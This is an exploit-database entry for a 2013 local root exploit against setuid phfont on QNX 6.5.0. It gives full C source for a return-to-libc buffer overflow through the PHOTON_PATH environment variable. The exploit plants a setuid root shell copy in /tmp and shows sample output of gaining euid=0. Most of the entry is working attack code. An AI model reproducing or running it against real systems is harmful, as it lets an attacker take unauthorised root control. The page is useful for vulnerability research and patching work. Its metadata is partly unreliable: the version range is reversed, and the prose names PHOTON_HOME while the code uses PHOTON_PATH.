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QNX 6.5.0
by:
cenobyte
7,2
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: QNX 6.5.0
Affected Version From: QNX 6.5.0SP1
Affected Version To: QNX 6.4.1
Patch Exists: YES
Related CWE: N/A
CPE: o:qnx:qnx_6.5.0
Metasploit: N/A
Other Scripts: N/A
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Nuclei References: N/A
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Platforms Tested: QNX 6.5.0SP1, QNX 6.5.0, QNX 6.4.1
2013

QNX 6.5.0 x86 phfont local root exploit by cenobyte 2013

Setuid root /usr/photon/bin/phfont on QNX is prone to a buffer overflow. The vulnerability is due to insufficent bounds checking of the PHOTON_HOME environment variable. This is a return-to-libc exploit that yields euid=0. The addresses of system() and exit() are retrieved from libc using dlsym(). During execution of the exploit the argument of system() will be set to sh, and PATH will be set to /tmp. Once /tmp/sh is been executed, the exploit will launch the setuid /tmp/shell yielding the user euid=0.

Mitigation:

Update to the latest version of QNX 6.5.0
Source

Exploit-DB raw data:

/*
 *          QNX 6.5.0 x86 phfont local root exploit by cenobyte 2013
 *                        <vincitamorpatriae@gmail.com>
 *
 * - vulnerability description:
 * Setuid root /usr/photon/bin/phfont on QNX is prone to a buffer overflow.
 * The vulnerability is due to insufficent bounds checking of the PHOTON_HOME
 * environment variable.
 *
 * - vulnerable platforms:
 * QNX 6.5.0SP1
 * QNX 6.5.0
 * QNX 6.4.1
 *
 * - not vulnerable:
 * QNX 6.3.0
 * QNX 6.2.0
 *
 * - exploit information:
 * This is a return-to-libc exploit that yields euid=0. The addresses of
 * system() and exit() are retrieved from libc using dlsym().
 *
 * During development of this exploit I ran into tty issues after succesfully
 * overwriting the EIP and launching /bin/sh. The following message appeared:
 *
 * No controlling tty (open /dev/tty: No such device or address)
 *
 * The shell became unusable and required a kill -9 to exit. To get around that
 * I had modify the exploit to create a shell script named /tmp/sh which copies
 * /bin/sh to /tmp/shell and then performs a chmod +s on /tmp/shell.
 *
 * During execution of the exploit the argument of system() will be set to sh,
 * and PATH will be set to /tmp. Once /tmp/sh is been executed, the exploit
 * will launch the setuid /tmp/shell yielding the user euid=0.
 *
 * - example:
 * $ uname -a
 * QNX localhost 6.5.0 2010/07/09-14:44:03EDT x86pc x86
 * $ id
 * uid=100(user) gid=100
 * $ ./qnx-phfont
 * QNX 6.5.0 x86 phfont local root exploit by cenobyte 2013
 *
 * [-] system(): 0xb031bd80
 * [-] exit(): 0xb032b5f0
 * [-] sh: 0xb030b7f8
 * [-] now dropping into root shell...
 * # id
 * uid=100(user) gid=100 euid=0(root)
 *
 */

#include <sys/types.h>
#include <sys/stat.h>

#include <dlfcn.h>
#include <err.h>
#include <fcntl.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define HEADER "QNX 6.5.0 x86 phfont local root exploit by cenobyte 2013"
#define VULN "PHOTON_PATH="
#define OFFSET 416
#define FILENAME "/tmp/sh"

static void createshell(void);
static void fail(void);
static void checknull(unsigned int addr);
static unsigned int find_string(char *s);
static unsigned int is_string(unsigned int addr, char *string);
static unsigned int find_libc(char *syscall);

void createshell(void) {
	int fd;
	char *s="/bin/cp /bin/sh /tmp/shell\n"
		"/bin/chmod 4755 /tmp/shell\n"
		"/bin/chown root:root /tmp/shell\n";

	fd = open(FILENAME, O_RDWR|O_CREAT, S_IRWXU|S_IXGRP|S_IXOTH);
	if (fd < 0)
		errx(1, "cannot open %s for writing", FILENAME);

	write(fd, s, strlen(s));
	close(fd);
}

void
checknull(unsigned int addr)
{
	if (!(addr & 0xff) || \
	    !(addr & 0xff00) || \
	    !(addr & 0xff0000) || \
	    !(addr & 0xff000000))
		errx(1, "return-to-libc failed: " \
		    "0x%x contains a null byte", addr);
}

void
fail(void)
{
	printf("\n");
	errx(1, "return-to-libc failed");
}

unsigned int
is_string(unsigned int addr, char *string)
{
	char *a = addr;

	signal(SIGSEGV, fail);

	if (strcmp(a, string) == 0)
		return(0);

	return(1);
}

unsigned int
find_string(char *string)
{
	unsigned int i;
	printf("[-] %s: ", string);

	for (i = 0xb0300000; i < 0xdeadbeef; i++) {
		if (is_string(i, string) != 0)
			continue;

		printf("0x%x\n", i);
		checknull(i);
		return(i);
	}

	return(1);
}

unsigned int
find_libc(char *syscall)
{
	void *s;
	unsigned int syscall_addr;

	if (!(s = dlopen(NULL, RTLD_LAZY)))
		errx(1, "error: dlopen() failed");

	if (!(syscall_addr = (unsigned int)dlsym(s, syscall)))
		errx(1, "error: dlsym() %s", syscall);

	printf("[-] %s(): 0x%x\n", syscall, syscall_addr);
	checknull(syscall_addr);
	return(syscall_addr);

	return(1);
}

int
main(int argc, char **argv)
{
	unsigned int system_addr;
	unsigned int exit_addr;
	unsigned int sh_addr;

	char env[440];

	printf("%s\n\n", HEADER);

	createshell();

	system_addr = find_libc("system");
	exit_addr = find_libc("exit");
	sh_addr = find_string("sh");

	memset(env, 0xEB, sizeof(env));
	memcpy(env + OFFSET, (char *)&system_addr, 4);
	memcpy(env + OFFSET + 4, (char *)&exit_addr, 4);
	memcpy(env + OFFSET + 8, (char *)&sh_addr, 4);

	setenv("PHOTON_PATH", env, 0);
	system("PATH=/tmp:/bin:/sbin:/usr/bin:/usr/sbin /usr/photon/bin/phfont");

	printf("[-] now dropping into root shell...\n");

	sleep(2);
	if (unlink(FILENAME) != 0)
		printf("error: cannot unlink %s\n", FILENAME);

	system("/tmp/shell");

	return(0);
}